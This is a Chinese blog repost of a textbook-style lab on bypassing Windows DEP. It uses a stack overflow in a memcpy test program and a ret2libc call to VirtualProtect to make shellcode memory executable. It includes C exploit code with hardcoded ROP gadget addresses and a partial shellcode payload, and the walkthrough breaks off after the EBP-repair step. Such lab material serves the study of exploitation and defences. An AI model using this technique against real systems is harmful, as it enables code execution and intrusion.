我是靠谱客的博主 纯情白云,最近开发中收集的这篇文章主要介绍VirtualProtect函数,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

首先我们来看看MSDN上对VirtualProtect函数的说明。

 
 
  1. BOOL VirtualProtect(  
  2.   LPVOID lpAddress,  
  3.   DWORD dwSize,  
  4.   DWORD flNewProtect,  
  5.   PDWORD lpflOldProtect  
  6. );  

各参数的意义为:

lpAddress,要改变属性的内存起始地址。

dwSize,要改变属性的内存区域大小。

flNewProtect,内存新的属性类型,设置为PAGE_EXECUTE_READWRITE(0x40)时该内存页为可读可写可执行。

pflOldProtect,内存原始属性类型保存地址。

修改内存属性成功时函数返回非0,修改失败时返回0。

如果我们能够按照如下参数布置好栈帧的话就可以将shellcode所在内存区域设置为可执行模式。

 
 
  1. BOOL VirtualProtect(  
  2.    shellcode所在内存空间起始地址,  
  3.    shellcode大小,  
  4.    0x40,   
  5.    某个可写地址  
  6. ;  

这里有两个问题需要注意。

(1)参数中包含0x00,strcpy在复制字符串的时候会被截断,所以我们不能攻击strcpy函数,本次实验中我们改为攻击memcpy函数。

(2)对shellcode所在内存空间起始地址的确定,不同机器之间shellcode在内存中的位置可能会有变化,本次实验中我们采用一种巧妙的栈帧构造方法动态确定shellcode所在内存空间起始地址。

我们将用如下代码演示如何布置栈帧,并利用VirtualProtect函数将shellcode所在内存区域设置为可执行状态,进而执行shellcode。

 
 
  1. #include<stdlib.h> 
  2. #include<string.h> 
  3. #include<stdio.h> 
  4. #include<windows.h> 
  5. charshellcode[]=  
  6. "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"  
  7. "……"  
  8. "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"  
  9. "x90x90x90x90"  
  10. "x8Ax17x84x7C"  //pop eax retn  
  11. "x0Ax1AxBFx7C"  //pop pop pop retn  
  12. "xBAxD9xBBx7C"  //修正EBP  
  13. "x8Bx17x84x7C"  //RETN  
  14. "x90x90x90x90"  
  15. "xBFx7DxC9x77"  //push esp jmp eax  
  16. "xFFx00x00x00"  //修改内存大小  
  17. "x40x00x00x00"  //可读可写可执行内存属性代码  
  18. "xBFx7DxC9x77"  //push esp jmp eax  
  19. "x90x90x90x90"  
  20. "x90x90x90x90"  
  21. "xE8x1Fx80x7C"  //修改内存属性  
  22. "x90x90x90x90"  
  23. "xA4xDExA2x7C"  //jmp esp  
  24. "x90x90x90x90"  
  25. "x90x90x90x90"  
  26. "x90x90x90x90"  
  27. "x90x90x90x90"  
  28. "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"  
  29. "……"  
  30. "x53xFFx57xFCx53xFFx57xF8"  
  31. ;  
  32. voidtest()  
  33. {  
  34.       charstr[176];  
  35.       memcpy(str,shellcode,420);  
  36. }  
  37. intmain()  
  38. {  
  39.       HINSTANCEhInst = LoadLibrary("shell32.dll");  
  40.       chartemp[200];  
  41.       test();  
  42. return 0;  
  43. }  

对实验思路和代码简要解释如下。

(1)为了更直观地反映绕过DEP的过程,我们在本次实验中不启用GS和SafeSEH。

(2)函数test存在一个典型的溢出,通过向str复制超长字符串造成str溢出,进而覆盖函数返回地址。

(3)覆盖掉函数返回地址后,通过Ret2Libc技术,利用VirtualProtect函数将shellcode所在内存区域设置为可执行模式。

(4)通过push esp jmp eax指令序列动态设置VirtualProtect函数中的shellcode所在内存起始地址以及内存原始属性类型保存地址。

(5)内存区域被设置成可执行模式后shellcode就可以正常执行了。

实验环境如表12-3-2所示。

表12-3-2  实验环境

 

推荐使用的环境

备    注

操作系统

Windows 2003 SP2

 

DEP状态

Optout

 

编译器

VC++ 6.0

 

编译选项

禁用优化选项

 

build版本

release版本

 

首先我们来看看VirtualProtect函数的具体实现。如图12.3.17所示,VirtualProtect只是相当于做了一次中转,通过将进程句柄、内存地址、内存大小等参数传递给VirtualProtectEx函数来设置内存的属性。我们不妨选择0x7C801FE8作为切入点,按照函数要求将栈帧布置好后转入0x7C801FE8处执行设置内存属性过程。

 
图12.3.17  VirtualProtect函数具体实现过程

通过图12.3.17我们还可以看出从EBP+8到EBP+18这16个字节空间中存放着设置内存属性所需要的参数。[EBP+C]和[EBP+10]这两个参数是固定的,我们可以直接在shellcode中设置;但[EBP+8]和[EBP+14]这两个参数是需要动态确定的,要保证第一个参数可以落在我们可以控制的堆栈范围内,第二个参数要保证为一可写地址,我们布置shellcode的重点也就放在这两个参数上边。

由于EBP在溢出过程中被破坏,所以我们需要对EBP进行修复,首先我们用PUSH ESP POP EBP RETN 4指令的地址覆盖test函数的返回地址,shellcode如下所示。

 
 
  1. char shellcode[]=  
  2. "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"  
  3. "……"  
  4. "x90x90x90x90"  
  5. "xBAxD9xBBx7C"//修正EBP  

最后

以上就是纯情白云为你收集整理的VirtualProtect函数的全部内容,希望文章能够帮你解决VirtualProtect函数所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(36)

评论列表共有 0 条评论

立即
投稿
返回
顶部